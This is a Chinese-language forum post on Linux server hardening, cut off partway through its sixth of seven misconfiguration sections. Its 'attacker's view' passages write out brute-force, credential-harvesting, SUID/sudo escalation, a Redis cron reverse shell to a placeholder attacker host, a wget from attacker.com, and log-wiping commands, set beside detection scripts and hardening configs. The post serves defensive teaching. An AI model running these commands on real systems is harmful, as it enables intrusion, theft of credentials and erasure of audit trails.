找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

4763

积分

0

好友

657

主题
发表于 1 小时前 | 查看: 1| 回复: 0

向上箭头图标,象征安全加固与提升

在安全领域有一句话:“攻击者只需要找到一个漏洞,而防御者需要保护所有入口。” 作为运维工程师,我们每天都在和服务器打交道,但很多人对安全配置的重要性认识不足,认为"内网没事"、“防火墙挡着呢”。

本文将以攻击者的视角,深入剖析 7 个最常见的 Linux 服务器配置漏洞。这些漏洞不是理论上的可能性,而是我在真实的渗透测试和安全审计中反复遇到的"常客"。通过了解攻击者如何利用这些漏洞,你将更深刻地理解为什么要做好这些配置,以及如何正确地加固它们。

一、漏洞一:SSH 配置不当

2.1 漏洞描述

SSH 是服务器管理的"大门",配置不当就像大门没上锁。我在渗透测试中,SSH 暴力破解和密钥窃取是最常用的初始入侵手段之一。

2.2 攻击者视角

◆ 2.2.1 攻击手法一:暴力破解
# 攻击者常用工具:Hydra
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://target_ip

# 或使用 Medusa
medusa -h target_ip -u root -P passwords.txt -M ssh

为什么能成功:  

  • 允许 root 直接登录  
  • 没有登录失败次数限制  
  • 使用弱密码  
◆ 2.2.2 攻击手法二:密钥窃取
# 攻击者在已入侵的机器上搜索 SSH 私钥
find / -name "id_rsa" 2>/dev/null
find / -name "*.pem" 2>/dev/null

# 检查 known_hosts 找到其他可跳转的服务器
cat ~/.ssh/known_hosts

# 利用窃取的私钥横向移动
ssh -i stolen_key.pem user@internal_server
◆ 2.2.3 攻击手法三:SSH Agent 劫持
# 攻击者劫持正在运行的 SSH Agent
export SSH_AUTH_SOCK=$(ls /tmp/ssh-*/agent.* 2>/dev/null | head -1)
ssh-add -l  # 列出已加载的密钥
ssh user@another_server  # 无需密码直接登录

2.3 漏洞检测

#!/bin/bash
# SSH 安全配置检测脚本

echo "=== SSH 安全配置检查 ==="

# 检查 root 登录
ROOT_LOGIN=$(grep "^PermitRootLogin" /etc/ssh/sshd_config | awk '{print $2}')
if [ "$ROOT_LOGIN" != "no" ] && [ "$ROOT_LOGIN" != "prohibit-password" ]; then
echo "[危险] 允许 root 密码登录: $ROOT_LOGIN"
else
echo "[安全] root 登录配置: $ROOT_LOGIN"
fi

# 检查密码认证
PASS_AUTH=$(grep "^PasswordAuthentication" /etc/ssh/sshd_config | awk '{print $2}')
if [ "$PASS_AUTH" == "yes" ]; then
echo "[警告] 允许密码认证,建议使用密钥认证"
else
echo "[安全] 密码认证已禁用"
fi

# 检查 SSH 端口
SSH_PORT=$(grep "^Port" /etc/ssh/sshd_config | awk '{print $2}')
if [ -z "$SSH_PORT" ] || [ "$SSH_PORT" == "22" ]; then
echo "[警告] 使用默认端口 22,建议修改"
else
echo "[安全] SSH 端口: $SSH_PORT"
fi

# 检查空密码登录
EMPTY_PASS=$(grep "^PermitEmptyPasswords" /etc/ssh/sshd_config | awk '{print $2}')
if [ "$EMPTY_PASS" == "yes" ]; then
echo "[危险] 允许空密码登录"
else
echo "[安全] 空密码登录已禁用"
fi

# 检查 SSH 协议版本
PROTOCOL=$(grep "^Protocol" /etc/ssh/sshd_config | awk '{print $2}')
if [ "$PROTOCOL" == "1" ] || [ "$PROTOCOL" == "1,2" ]; then
echo "[危险] 使用不安全的 SSH 协议版本 1"
else
echo "[安全] SSH 协议版本配置正确"
fi

2.4 加固方案

◆ 2.4.1 SSH 配置文件加固
# /etc/ssh/sshd_config 推荐配置

# 禁止 root 直接登录
PermitRootLogin no
# 或者只允许密钥登录
# PermitRootLogin prohibit-password

# 修改默认端口(选择 1024-65535 之间的端口)
Port 52222

# 只使用 SSH 协议 2
Protocol 2

# 禁用密码认证,只允许密钥认证
PasswordAuthentication no
PubkeyAuthentication yes

# 禁止空密码
PermitEmptyPasswords no

# 限制认证尝试次数
MaxAuthTries 3

# 设置登录超时
LoginGraceTime 30

# 禁用 X11 转发(如不需要)
X11Forwarding no

# 禁用 TCP 转发(如不需要)
AllowTcpForwarding no

# 禁用 Agent 转发(如不需要)
AllowAgentForwarding no

# 限制可登录的用户
AllowUsers deploy admin

# 设置空闲超时
ClientAliveInterval 300
ClientAliveCountMax 2

# 使用更安全的加密算法
Ciphers aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr
MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256
KexAlgorithms curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521

# 记录更多日志
LogLevel VERBOSE
◆ 2.4.2 配置 Fail2Ban 防止暴力破解
# 安装 Fail2Ban
# CentOS/RHEL
sudo yum install -y epel-release
sudo yum install -y fail2ban

# Ubuntu/Debian
sudo apt update
sudo apt install -y fail2ban
# /etc/fail2ban/jail.local
[DEFAULT]
# 封禁时间(秒)
bantime = 3600
# 检测时间窗口(秒)
findtime = 600
# 最大失败次数
maxretry = 3
# 忽略的 IP(白名单)
ignoreip = 127.0.0.1/8 10.0.0.0/8

[sshd]
enabled = true
port = 52222  # 修改为你的 SSH 端口
filter = sshd
logpath = /var/log/auth.log  # Ubuntu
# logpath = /var/log/secure  # CentOS
maxretry = 3
bantime = 86400  # 24小时
# 启动 Fail2Ban
sudo systemctl enable fail2ban
sudo systemctl start fail2ban

# 查看封禁状态
sudo fail2ban-client status sshd
◆ 2.4.3 SSH 密钥安全管理
# 生成强密钥(推荐 Ed25519)
ssh-keygen -t ed25519 -C "your_email@example.com"

# 或使用 RSA 4096 位
ssh-keygen -t rsa -b 4096 -C "your_email@example.com"

# 为私钥设置强密码保护
ssh-keygen -p -f ~/.ssh/id_ed25519

# 设置正确的权限
chmod 700 ~/.ssh
chmod 600 ~/.ssh/id_ed25519
chmod 644 ~/.ssh/id_ed25519.pub
chmod 600 ~/.ssh/authorized_keys

二、漏洞二:弱密码和凭据管理不当

3.1 漏洞描述

密码是最后一道防线,但也是最薄弱的环节。我见过太多服务器使用 admin123root@123公司名+年份 这样的"企业级弱密码"。

3.2 攻击者视角

◆ 3.2.1 密码喷洒攻击
# 攻击者使用少量常见密码尝试大量用户
# 避开账户锁定策略
for user in $(cat users.txt); do
echo "Trying $user:Company2024"
    sshpass -p 'Company2024' ssh -o StrictHostKeyChecking=no $user@target 2>/dev/null && echo "SUCCESS: $user"
sleep 3  # 避免触发速率限制
done
◆ 3.2.2 凭据收集
# 攻击者在已入侵的服务器上搜索密码

# 搜索配置文件中的密码
grep -r "password" /etc/ 2>/dev/null
grep -r "passwd" /var/www/ 2>/dev/null
grep -rni "password\s*=" . 2>/dev/null

# 搜索历史命令中的密码
cat ~/.bash_history | grep -i "password\|passwd\|pwd\|mysql.*-p"

# 搜索环境变量
env | grep -i "pass\|key\|secret\|token"

# 搜索数据库连接配置
find /var/www -name "*.php" -exec grep -l "mysql_connect\|mysqli" {} \;
find /var/www -name "*.env" -exec cat {} \;

# 搜索 .git 目录中的敏感信息
find / -name ".git" -type d 2>/dev/null
git log --all --oneline -- "*password*" "*secret*" "*.env"
◆ 3.2.3 哈希破解
# 获取 /etc/shadow 后离线破解
# 使用 John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt shadow_file

# 使用 Hashcat(GPU 加速)
hashcat -m 1800 -a 0 shadow_hashes.txt wordlist.txt

3.3 漏洞检测

#!/bin/bash
# 密码策略检查脚本

echo "=== 密码安全配置检查 ==="

# 检查密码复杂度策略(PAM)
if [ -f /etc/security/pwquality.conf ]; then
echo "[检查] pwquality.conf 配置:"
    grep -E "^(minlen|dcredit|ucredit|lcredit|ocredit|minclass)" /etc/security/pwquality.conf
else
echo "[警告] 未找到 pwquality.conf,可能未配置密码复杂度策略"
fi

# 检查密码过期策略
echo ""
echo "[检查] 密码过期策略 (/etc/login.defs):"
grep -E "^(PASS_MAX_DAYS|PASS_MIN_DAYS|PASS_WARN_AGE)" /etc/login.defs

# 检查是否有用户永不过期
echo ""
echo "[检查] 密码永不过期的用户:"
for user in $(awk -F: '$3 >= 1000 {print $1}' /etc/passwd); do
    expire=$(chage -l $user 2>/dev/null | grep "Password expires" | cut -d: -f2)
if [ "$expire" == " never" ]; then
echo "  - $user: 密码永不过期"
fi
done

# 检查空密码用户
echo ""
echo "[检查] 空密码用户:"
awk -F: '($2 == "" || $2 == "!") && $1 != "root" {print "  - "$1}' /etc/shadow 2>/dev/null

# 检查 root 以外的 UID 为 0 的用户
echo ""
echo "[检查] UID 为 0 的用户:"
awk -F: '$3 == 0 {print "  - "$1}' /etc/passwd

3.4 加固方案

◆ 3.4.1 配置密码复杂度策略
# Ubuntu/Debian
sudo apt install -y libpam-pwquality

# CentOS/RHEL
sudo yum install -y pam_pwquality
# /etc/security/pwquality.conf
# 最小密码长度
minlen = 14

# 至少包含 1 个数字
dcredit = -1

# 至少包含 1 个大写字母
ucredit = -1

# 至少包含 1 个小写字母
lcredit = -1

# 至少包含 1 个特殊字符
ocredit = -1

# 至少包含 3 类字符
minclass = 3

# 新密码与旧密码至少有 5 个字符不同
difok = 5

# 禁止使用用户名作为密码
usercheck = 1

# 禁止回文密码
gecoscheck = 1

# 拒绝包含字典单词的密码
dictcheck = 1
◆ 3.4.2 配置密码过期策略
# /etc/login.defs
PASS_MAX_DAYS   90    # 密码最长有效期 90 天
PASS_MIN_DAYS   7     # 密码最短使用期 7 天(防止立即改回原密码)
PASS_WARN_AGE   14    # 密码过期前 14 天警告
# 对现有用户应用策略
for user in $(awk -F: '$3 >= 1000 {print $1}' /etc/passwd); do
    chage -M 90 -m 7 -W 14 $user
done

# 查看用户密码信息
chage -l username
◆ 3.4.3 配置密码历史
# /etc/pam.d/system-auth 或 /etc/pam.d/common-password
password    requisite     pam_pwquality.so retry=3
password    required      pam_pwhistory.so remember=12 use_authtok
password    sufficient    pam_unix.so sha512 shadow nullok try_first_pass use_authtok
◆ 3.4.4 敏感凭据管理
# 使用环境变量或 Secret 管理工具,而不是明文配置

# 1. 使用 .env 文件(确保不提交到版本控制)
echo ".env" >> .gitignore
chmod 600 .env

# 2. 使用 HashiCorp Vault
vault kv put secret/database password="very-secure-password"

# 3. 使用 AWS Secrets Manager、GCP Secret Manager 等云服务

# 4. 禁止在命令行中直接输入密码
# 错误示范
mysql -u root -pMyPassword  # 密码会出现在进程列表和历史记录中

# 正确示范
mysql -u root -p            # 交互式输入密码
mysql --defaults-extra-file=/root/.my.cnf  # 使用配置文件

三、漏洞三:权限配置不当

4.1 漏洞描述

Linux 的权限模型是安全的基石,但配置不当就会变成"瑞士奶酪"——到处都是洞。最常见的问题包括:SUID/SGID 滥用、目录权限过松、sudo 配置不当。

4.2 攻击者视角

◆ 4.2.1 SUID 提权
# 攻击者搜索 SUID 文件
find / -perm -4000 -type f 2>/dev/null

# 常见的可利用 SUID 程序
# 如果 find 有 SUID 位
find . -exec /bin/sh -p \; -quit

# 如果 vim 有 SUID 位
vim -c ':!/bin/sh'

# 如果 nmap 有 SUID 位(旧版本)
nmap --interactive
!sh

# 如果 python 有 SUID 位
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

GTFOBins:攻击者经常参考的 SUID 提权技巧集合(https://gtfobins.github.io/

◆ 4.2.2 sudo 配置利用
# 检查当前用户的 sudo 权限
sudo -l

# 常见的可利用 sudo 配置
# (ALL) NOPASSWD: /usr/bin/vim
sudo vim -c ':!/bin/sh'

# (ALL) NOPASSWD: /usr/bin/find
sudo find . -exec /bin/sh \; -quit

# (ALL) NOPASSWD: /usr/bin/awk
sudo awk 'BEGIN {system("/bin/sh")}'

# (ALL) NOPASSWD: /usr/bin/less
sudo less /etc/passwd
!/bin/sh

# (ALL) NOPASSWD: /usr/bin/env
sudo env /bin/sh
◆ 4.2.3 敏感文件权限利用
# 检查敏感文件的权限
ls -la /etc/passwd /etc/shadow /etc/sudoers

# 如果 /etc/passwd 可写,添加一个 root 用户
# 生成密码哈希
openssl passwd -1 -salt evil password123
# 写入 /etc/passwd
echo 'evil:$1$evil$H...//:0:0::/root:/bin/bash' >> /etc/passwd

# 如果 /etc/shadow 可读,离线破解密码
cat /etc/shadow

# 如果某些脚本 world-writable
find /etc/cron* -perm -0002 -type f 2>/dev/null
# 可以修改定时任务脚本来执行恶意代码

4.3 漏洞检测

#!/bin/bash
# 权限配置安全检查脚本

echo "=== 权限配置安全检查 ==="

# 检查危险的 SUID 文件
echo ""
echo "[检查] 异常的 SUID 文件:"
DANGEROUS_SUID="vim|vi|nano|find|awk|sed|perl|python|ruby|php|node|less|more|bash|sh|zsh|env|time|strace"
find /usr -perm -4000 -type f 2>/dev/null | grep -E "$DANGEROUS_SUID" | while read f; do
echo "  [危险] $f"
done

# 检查 world-writable 的敏感目录
echo ""
echo "[检查] world-writable 的系统目录:"
find /etc /usr /var -type d -perm -0002 2>/dev/null | while read d; do
echo "  [警告] $d"
done

# 检查敏感文件权限
echo ""
echo "[检查] 敏感文件权限:"
for file in /etc/passwd /etc/shadow /etc/sudoers /etc/ssh/sshd_config; do
if [ -f "$file" ]; then
        perms=$(stat -c "%a" $file)
        owner=$(stat -c "%U:%G" $file)
echo "  $file: $perms ($owner)"
fi
done

# 检查 /etc/shadow 是否可被非 root 用户读取
if [ -r /etc/shadow ]; then
if [ "$(id -u)" -ne 0 ]; then
echo "  [危险] /etc/shadow 可被当前用户读取"
fi
fi

# 检查 sudoers 配置
echo ""
echo "[检查] sudo NOPASSWD 配置:"
grep -r "NOPASSWD" /etc/sudoers /etc/sudoers.d/ 2>/dev/null | grep -v "^#" | while read line; do
echo "  $line"
done

# 检查无密码用户
echo ""
echo "[检查] /etc/passwd 中 shell 为 /bin/bash 的用户:"
awk -F: '$7 ~ /bash/ {print "  - "$1": UID="$3", GID="$4}' /etc/passwd

4.4 加固方案

◆ 4.4.1 清理不必要的 SUID/SGID
# 查找所有 SUID/SGID 文件
find / -perm /6000 -type f -exec ls -la {} \; 2>/dev/null

# 移除不必要的 SUID 位
chmod u-s /usr/bin/dangerous_program
chmod g-s /usr/bin/dangerous_program

# 常见的不应有 SUID 的程序
for prog in vim vi nano nmap perl python python3 ruby php find less more awk; do
    path=$(which $prog 2>/dev/null)
if [ -n "$path" ] && [ -u "$path" ]; then
echo "Removing SUID from $path"
chmod u-s "$path"
fi
done
◆ 4.4.2 配置安全的 sudoers
# /etc/sudoers 推荐配置(使用 visudo 编辑)

# 默认设置
Defaults    env_reset
Defaults    mail_badpass
Defaults    secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
Defaults    logfile="/var/log/sudo.log"
Defaults    log_input, log_output
Defaults    passwd_tries=3
Defaults    passwd_timeout=1

# 禁止 root 登录
Defaults    !rootpw

# 用户组权限(最小权限原则)
# 运维人员组:只允许特定命令
%ops ALL=(ALL) /usr/bin/systemctl restart nginx, /usr/bin/systemctl restart php-fpm
%ops ALL=(ALL) /usr/bin/tail -f /var/log/nginx/*

# 开发人员组:只允许部署相关命令
%devs ALL=(deploy) NOPASSWD: /home/deploy/scripts/deploy.sh

# 管理员组:需要密码的完全权限
%admins ALL=(ALL) ALL
◆ 4.4.3 设置正确的文件权限
# 关键文件权限设置
chmod 644 /etc/passwd        # 所有人可读
chmod 600 /etc/shadow        # 仅 root 可读
chmod 600 /etc/gshadow       # 仅 root 可读
chmod 644 /etc/group         # 所有人可读
chmod 440 /etc/sudoers       # root 和 sudo 组可读
chmod 700 /root              # 仅 root 可访问

# SSH 目录权限
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
chmod 600 ~/.ssh/id_*
chmod 644 ~/.ssh/*.pub

# Web 目录权限
chown -R www-data:www-data /var/www
chmod -R 755 /var/www        # 目录
find /var/www -type f -exec chmod 644 {} \;  # 文件

# 日志目录权限
chmod 750 /var/log
chmod 640 /var/log/auth.log
chmod 640 /var/log/syslog
◆ 4.4.4 设置 umask
# /etc/profile 或 /etc/login.defs
# 默认 umask 022 太宽松,建议改为 027 或 077

# 全局设置
echo "umask 027" >> /etc/profile

# 对于特别敏感的用户
echo "umask 077" >> /home/sensitive_user/.bashrc

四、漏洞四:服务端口和进程暴露

5.1 漏洞描述

每个开放的端口都是一个潜在的入侵入口。很多服务器运行着不必要的服务,或者将内部服务暴露到公网。

5.2 攻击者视角

◆ 5.2.1 端口扫描和服务识别
# 使用 nmap 进行端口扫描
nmap -sV -sC -O target_ip

# 快速扫描常见端口
nmap -F target_ip

# 全端口扫描
nmap -p- target_ip

# UDP 扫描
nmap -sU --top-ports 100 target_ip

常见的高危服务

端口 服务 风险
21 FTP 明文传输、匿名访问
23 Telnet 明文传输、无加密
3306 MySQL 弱密码、未授权访问
6379 Redis 未授权访问、RCE
27017 MongoDB 未授权访问
9200 Elasticsearch 未授权访问
2375 Docker 未授权访问、直接获取 root
◆ 5.2.2 Redis 未授权访问利用
# 检测 Redis 未授权访问
redis-cli -h target_ip ping

# 利用 Redis 写入 SSH 公钥
redis-cli -h target_ip
> CONFIG SET dir /root/.ssh
> CONFIG SET dbfilename "authorized_keys"
> SET x "\n\nssh-rsa AAAA...attacker_key...\n\n"
> SAVE

# 或利用 Redis 写入 Crontab
> CONFIG SET dir /var/spool/cron
> CONFIG SET dbfilename root
> SET x "\n*/1 * * * * bash -i > /dev/tcp/attacker_ip/4444 0>&1\n"
> SAVE
◆ 5.2.3 Docker API 未授权访问
# 检测 Docker API
curl http://target_ip:2375/version

# 利用 Docker API 获取 root shell
docker -H tcp://target_ip:2375 run -it -v /:/mnt alpine chroot /mnt sh

5.3 漏洞检测

#!/bin/bash
# 端口和服务安全检查

echo "=== 端口和服务安全检查 ==="

# 检查监听的端口
echo ""
echo "[检查] 当前监听的端口:"
ss -tulnp | grep LISTEN

# 检查监听 0.0.0.0 的高危服务
echo ""
echo "[检查] 监听所有接口的高危服务:"
DANGEROUS_PORTS="21|22|23|3306|5432|6379|27017|9200|2375|2376|5984|8080|8443"
ss -tulnp | grep LISTEN | grep "0.0.0.0" | grep -E ":($DANGEROUS_PORTS)" | while read line; do
echo "  [警告] $line"
done

# 检查 Redis 配置
if [ -f /etc/redis/redis.conf ]; then
echo ""
echo "[检查] Redis 配置:"
bind=$(grep "^bind" /etc/redis/redis.conf)
requirepass=$(grep "^requirepass" /etc/redis/redis.conf)
protected=$(grep "^protected-mode" /etc/redis/redis.conf)
echo "  bind: $bind"
echo "  requirepass: ${requirepass:-未设置}"
echo "  protected-mode: ${protected:-未设置}"
fi

# 检查 Docker 配置
if command -v docker &> /dev/null; then
echo ""
echo "[检查] Docker 配置:"
if ss -tulnp | grep -q ":2375"; then
echo "  [危险] Docker API 在 2375 端口监听(无 TLS)"
fi
if [ -S /var/run/docker.sock ]; then
        perms=$(ls -la /var/run/docker.sock | awk '{print $1}')
echo "  Docker socket 权限: $perms"
fi
fi

# 检查 MySQL 配置
if [ -f /etc/mysql/mysql.conf.d/mysqld.cnf ] || [ -f /etc/my.cnf ]; then
echo ""
echo "[检查] MySQL 配置:"
bind_address=$(grep "bind-address" /etc/mysql/mysql.conf.d/mysqld.cnf /etc/my.cnf 2>/dev/null | tail -1)
echo "  $bind_address"
fi

5.4 加固方案

◆ 5.4.1 关闭不必要的服务
# 检查所有启用的服务
systemctl list-unit-files --type=service --state=enabled

# 禁用不需要的服务
sudo systemctl disable --now telnet.socket
sudo systemctl disable --now rsh.socket
sudo systemctl disable --now rlogin.socket
sudo systemctl disable --now rexec.socket
sudo systemctl disable --now vsftpd  # 如果不需要 FTP

# 卸载不需要的软件包
sudo apt remove --purge telnetd rsh-server
sudo yum remove telnet-server rsh-server
◆ 5.4.2 配置服务仅监听必要的接口
# Redis - 只监听本地
# /etc/redis/redis.conf
bind 127.0.0.1
requirepass "YourStrongPassword123!"
protected-mode yes

# MySQL - 只监听本地
# /etc/mysql/mysql.conf.d/mysqld.cnf
bind-address = 127.0.0.1

# MongoDB - 只监听本地并启用认证
# /etc/mongod.conf
net:
  bindIp: 127.0.0.1
security:
  authorization: enabled

# Elasticsearch - 只监听本地
# /etc/elasticsearch/elasticsearch.yml
network.host: 127.0.0.1
xpack.security.enabled: true
◆ 5.4.3 配置防火墙
# 使用 firewalld (CentOS/RHEL)
sudo firewall-cmd --permanent --set-default-zone=drop
sudo firewall-cmd --permanent --add-service=ssh
sudo firewall-cmd --permanent --add-port=80/tcp
sudo firewall-cmd --permanent --add-port=443/tcp
sudo firewall-cmd --reload

# 使用 ufw (Ubuntu/Debian)
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow ssh
sudo ufw allow http
sudo ufw allow https
sudo ufw enable

# 使用 iptables(更精细的控制)
# 默认策略:拒绝所有入站
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT

# 允许已建立的连接
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# 允许本地回环
iptables -A INPUT -i lo -j ACCEPT

# 允许 SSH(限制来源 IP)
iptables -A INPUT -p tcp --dport 22 -s 10.0.0.0/8 -j ACCEPT

# 允许 HTTP/HTTPS
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT

# 保存规则
iptables-save > /etc/iptables/rules.v4
◆ 5.4.4 Docker 安全配置
# 禁止 Docker API 暴露到网络
# /etc/docker/daemon.json
{
"hosts": ["unix:///var/run/docker.sock"],
"tls": true,
"tlscacert": "/etc/docker/ca.pem",
"tlscert": "/etc/docker/server-cert.pem",
"tlskey": "/etc/docker/server-key.pem",
"tlsverify": true
}

# 限制 docker 组成员
# 只有受信任的用户才能加入 docker 组
getent group docker

五、漏洞五:日志和审计不足

6.1 漏洞描述

没有日志就像闭着眼睛开车——出了事故都不知道怎么发生的。很多服务器要么不记录日志,要么日志记录不全,要么日志没有保护和监控。

6.2 攻击者视角

◆ 6.2.1 清理入侵痕迹
# 攻击者清理日志的常见手法

# 清空日志文件(保留文件)
> /var/log/auth.log
> /var/log/syslog
> /var/log/messages

# 删除特定行
sed -i '/attacker_ip/d' /var/log/auth.log

# 清除 bash 历史
history -c
> ~/.bash_history
export HISTSIZE=0

# 修改文件时间戳(伪装)
touch -r /etc/passwd /tmp/malware

# 禁用日志服务
systemctl stop rsyslog
◆ 6.2.2 禁用审计
# 攻击者禁用 auditd
systemctl stop auditd
auditctl -e 0

# 清理审计日志
> /var/log/audit/audit.log

6.3 漏洞检测

#!/bin/bash
# 日志和审计配置检查

echo "=== 日志和审计配置检查 ==="

# 检查 rsyslog 服务
echo "[检查] rsyslog 服务状态:"
systemctl is-active rsyslog && echo "  运行中" || echo "  [警告] 未运行"

# 检查审计服务
echo ""
echo "[检查] auditd 服务状态:"
if command -v auditctl &> /dev/null; then
    systemctl is-active auditd && echo "  运行中" || echo "  [警告] 未运行"
echo "  审计规则数量: $(auditctl -l 2>/dev/null | wc -l)"
else
echo "  [警告] auditd 未安装"
fi

# 检查关键日志文件是否存在且有内容
echo ""
echo "[检查] 关键日志文件:"
for log in /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages; do
if [ -f "$log" ]; then
        size=$(stat -c%s "$log" 2>/dev/null)
        age=$(stat -c%Y "$log" 2>/dev/null)
        now=$(date +%s)
        days_old=$(( (now - age) / 86400 ))
echo "  $log: ${size} bytes, 最后修改 ${days_old} 天前"
if [ "$size" -eq 0 ]; then
echo "    [警告] 日志文件为空"
fi
else
echo "  $log: 不存在"
fi
done

# 检查日志轮转配置
echo ""
echo "[检查] 日志轮转配置:"
if [ -f /etc/logrotate.conf ]; then
echo "  logrotate.conf 存在"
    grep -E "^(weekly|monthly|rotate|compress)" /etc/logrotate.conf
fi

# 检查远程日志配置
echo ""
echo "[检查] 远程日志配置:"
if grep -q "^\*.\*\s*@" /etc/rsyslog.conf /etc/rsyslog.d/*.conf 2>/dev/null; then
echo "  [安全] 已配置远程日志服务器"
    grep "^\*.\*\s*@" /etc/rsyslog.conf /etc/rsyslog.d/*.conf 2>/dev/null
else
echo "  [警告] 未配置远程日志服务器"
fi

6.4 加固方案

◆ 6.4.1 配置完善的系统日志
# /etc/rsyslog.conf 推荐配置

# 高精度时间戳
$ActionFileDefaultTemplate RSYSLOG_TraditionalFileFormat
$template CustomFormat,"%timegenerated% %HOSTNAME% %syslogtag%%msg%\n"

# 按设施和优先级分类记录
auth,authpriv.*                         /var/log/auth.log
*.*;auth,authpriv.none                  /var/log/syslog
kern.*                                  /var/log/kern.log
mail.*                                  /var/log/mail.log
cron.*                                  /var/log/cron.log
user.*                                  /var/log/user.log
local0.*                                 /var/log/local0.log

# 发送到远程日志服务器(重要!)
*.* @@remote-log-server.example.com:514
# 使用 @@ 表示 TCP,@ 表示 UDP
◆ 6.4.2 配置 auditd 审计系统
# 安装 auditd
sudo apt install -y auditd audispd-plugins  # Ubuntu/Debian
sudo yum install -y audit                    # CentOS/RHEL

# 启动并设置开机自启
sudo systemctl enable auditd
sudo systemctl start auditd
# /etc/audit/rules.d/audit.rules 推荐规则

# 删除所有现有规则
-D

# 设置缓冲区大小
-b 8192

# 设置失败模式(2 = panic,系统进入单用户模式)
-f 1

# 监控时间更改
-a always,exit -F arch=b64 -S adjtimex -S settimeofday -k time-change
-a always,exit -F arch=b64 -S clock_settime -k time-change
-w /etc/localtime -p wa -k time-change

# 监控用户/组更改
-w /etc/group -p wa -k identity
-w /etc/passwd -p wa -k identity
-w /etc/gshadow -p wa -k identity
-w /etc/shadow -p wa -k identity
-w /etc/security/opasswd -p wa -k identity

# 监控网络配置更改
-w /etc/hosts -p wa -k system-locale
-w /etc/sysconfig/network -p wa -k system-locale
-w /etc/sysconfig/network-scripts/ -p wa -k system-locale

# 监控登录相关文件
-w /var/log/faillog -p wa -k logins
-w /var/log/lastlog -p wa -k logins
-w /var/log/tallylog -p wa -k logins

# 监控会话初始化
-w /var/run/utmp -p wa -k session
-w /var/log/wtmp -p wa -k logins
-w /var/log/btmp -p wa -k logins

# 监控 sudoers 文件
-w /etc/sudoers -p wa -k scope
-w /etc/sudoers.d/ -p wa -k scope

# 监控系统管理操作
-w /sbin/insmod -p x -k modules
-w /sbin/rmmod -p x -k modules
-w /sbin/modprobe -p x -k modules

# 监控文件删除操作
-a always,exit -F arch=b64 -S unlink -S unlinkat -S rename -S renameat -F auid>=1000 -F auid!=4294967295 -k delete

# 监控 sudo 使用
-a always,exit -F arch=b64 -S execve -C uid!=euid -F euid=0 -k privilege_escalation

# 监控 SSH 配置
-w /etc/ssh/sshd_config -p wa -k sshd_config

# 使规则不可更改(需要重启才能修改规则)
-e 2
# 加载审计规则
sudo augenrules --load
sudo auditctl -l  # 查看当前规则
◆ 6.4.3 日志保护
# 设置日志文件只能追加
chattr +a /var/log/auth.log
chattr +a /var/log/syslog

# 设置正确的权限
chmod 640 /var/log/auth.log
chmod 640 /var/log/syslog
chown root:adm /var/log/auth.log
chown root:adm /var/log/syslog

# 配置日志轮转
# /etc/logrotate.d/rsyslog
/var/log/auth.log
/var/log/syslog
{
    rotate 52
    weekly
    missingok
    notifempty
    compress
    delaycompress
    sharedscripts
    postrotate
        /usr/lib/rsyslog/rsyslog-rotate
    endscript
}
◆ 6.4.4 集中日志管理
# 使用 ELK Stack 或 Loki + Grafana
# Filebeat 配置示例 (/etc/filebeat/filebeat.yml)
filebeat.inputs:
-type: log
enabled: true
paths:
-/var/log/auth.log
-/var/log/syslog
-/var/log/audit/audit.log
fields:
type: system

output.elasticsearch:
hosts: ["https://elasticsearch:9200"]
username: "elastic"
password: "${ES_PASSWORD}"
ssl.verification_mode: full

六、漏洞六:缺乏系统加固

7.1 漏洞描述

默认安装的 Linux 系统有很多不安全的配置,包括:内核参数不安全、文件系统缺乏限制、缺少安全模块等。

7.2 攻击者视角

◆ 7.2.1 利用内核漏洞
# 检查内核版本,寻找已知漏洞
uname -r

# 著名的内核提权漏洞
# Dirty COW (CVE-2016-5195)
# Dirty Pipe (CVE-2022-0847)
# Polkit (CVE-2021-4034)

# 检查是否存在漏洞利用条件
cat /proc/sys/kernel/unprivileged_userns_clone  # 非特权用户命名空间
cat /proc/sys/kernel/unprivileged_bpf_disabled  # BPF 权限
◆ 7.2.2 利用 /tmp 执行
# 攻击者在 /tmp 目录编译和执行恶意程序
cd /tmp
wget http://attacker.com/malware.c
gcc malware.c -o malware
./malware
◆ 7.2.3 利用 Core Dump
# 某些情况下,Core Dump 可能包含敏感信息
# 检查是否启用
ulimit -c

# Core Dump 可能泄露内存中的密码、密钥等

7.3 漏洞检测

#!/bin/bash
# 系统加固检查脚本

echo "=== 系统加固检查 ==="

# 检查内核参数
echo ""
echo "[检查] 关键内核参数:"
params=(
"net.ipv4.ip_forward:0:IP转发"
"net.ipv4.conf.all.send_redirects:0:ICMP重定向"
"net.ipv4.conf.all.accept_redirects:0:接受ICMP重定向"
"net.ipv4.conf.all.accept_source_route:0:源路由"
"net.ipv4.conf.all.log_martians:1:记录可疑包"
"net.ipv4.tcp_syncookies:1:SYN Cookie"
"kernel.randomize_va_space:2:ASLR"
"kernel.exec-shield:1:Exec Shield"
"fs.suid_dumpable:0:SUID Core Dump"
)

for param in "${params[@]}"; do
    IFS=':' read -r name expected desc <<< "$param"
    actual=$(sysctl -n $name 2>/dev/null)
if [ "$actual" == "$expected" ]; then
echo "  [OK] $desc ($name = $actual)"
else
echo "  [警告] $desc ($name = $actual, 建议 $expected)"
fi
done

# 检查文件系统挂载选项
echo ""
echo "[检查] 关键分区挂载选项:"
for mount_point in /tmp /var/tmp /dev/shm; do
if mountpoint -q $mount_point 2>/dev/null; then
        opts=$(findmnt -n -o OPTIONS $mount_point)
echo "  $mount_point: $opts"
if ! echo "$opts" | grep -q "noexec"; then
echo "    [警告] 缺少 noexec 选项"
fi
